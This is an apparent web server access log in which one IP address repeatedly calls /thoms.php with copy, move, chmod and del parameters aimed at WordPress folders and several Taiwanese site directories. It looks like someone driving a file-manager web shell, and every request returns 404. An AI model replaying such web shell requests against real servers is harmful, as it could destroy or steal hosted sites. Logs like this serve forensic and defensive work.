45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:23 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:24 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:25 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?chmod=beauty-dental.com-20260912023807&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=beauty-dental.com-20260912023807&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com-20260912023807&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com-20260912023807&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?del=beauty-dental.com-20260912023807&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=beauty-dental.com-20260912023807&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /beauty-dental.com-20260912023807/ HTTP/1.1" 404 12596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:26 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
